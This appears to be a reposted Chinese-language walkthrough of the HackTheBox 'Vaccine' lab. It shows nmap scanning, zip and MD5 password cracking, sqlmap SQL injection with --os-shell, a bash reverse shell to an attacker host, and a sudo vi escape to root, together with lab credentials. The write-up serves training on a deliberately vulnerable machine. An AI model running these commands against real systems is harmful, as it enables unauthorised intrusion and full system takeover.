HackTheBox-Vaccine
Posted ColinDope
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HackTheBox-Vaccine相关的知识,希望对你有一定的参考价值。
HackTheBox-Vaccine
实验环境
信息收集
端口扫描:
nmap -sC -sV 10.10.10.46
看到21、22、80端口开放,先访问80端口,是一个登录界面,目前我们没有登录的账号密码
因为上一题中我们得到了一个ftp的账户密码,先试试能不能ftp登录
ftpuser/mc@F1l3ZilL4
直接输入上一题中获得的用户名和密码可以成功登录
可以看到有一个备份文件,我们先下载下来,但是这个文件需要解压密码
我们直接使用john来爆破
zip2john backup.zip > hash
john hash
#因为我已经爆破过一次,所以可以直接show输出
john hash --show
得到压缩包密码7418529630
,解压后有index.php
,从代码中可以看到用户名和md5加密的密码
将md5加密的密码到在线的md5解密网站解密,得到密码为qwerty789
回到80端口的登录界面,用获得的用户名和密码登录,登录后的页面如下
实验过程
试试搜索处有没有常见漏洞,加单引号报错,应该是有sql注入
那就直接用sqlmap跑,注意cookie要改成自己的值
sqlmap -u 'http://10.10.10.46/dashboard.php?search=a --cookie="PHPSESSID=1ah5j9312pm8sf4sktan1gdll1"
可以看到确实存在sql注入,数据库为PostgreSQL,试试直接用os-shell获取shell
sqlmap -u 'http://10.10.10.46/dashboard.php?search=a --cookie="PHPSESSID=1ah5j9312pm8sf4sktan1gdll1" --os-shell
接下来反弹shell,开启一个监听端口
在sqlmap的shell中输入
bash -c 'bash -i >& /dev/tcp/10.10.15.60/1234 0>&1'
成功接收到反弹的shell
先看一下存在注入的页面,有没有更多可以利用的信息,发现有数据库连接的用户名和密码
接下来先得到交互式的shell
#看别的walkthrough说是两个都可以,但是我用第一个不行
SHELL=/bin/bash script -q /dev/null
python3 -c "import pty;pty.spawn('/bin/bash')"
得到交互式的shell后,可以通过sudo -l
命令查看当前用户的权限,用户被允许编辑配置文件/etc/postgresql/11/main/pg_hba.conf
,可以利用vi
并验证密码提权至root
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
输入密码验证后,会出现字符重叠,直接执行如下命令并回车即可获得root
权限
:!/bin/bash
最后就可以读取root的flag了
参考:
以上是关于HackTheBox-Vaccine的主要内容,如果未能解决你的问题,请参考以下文章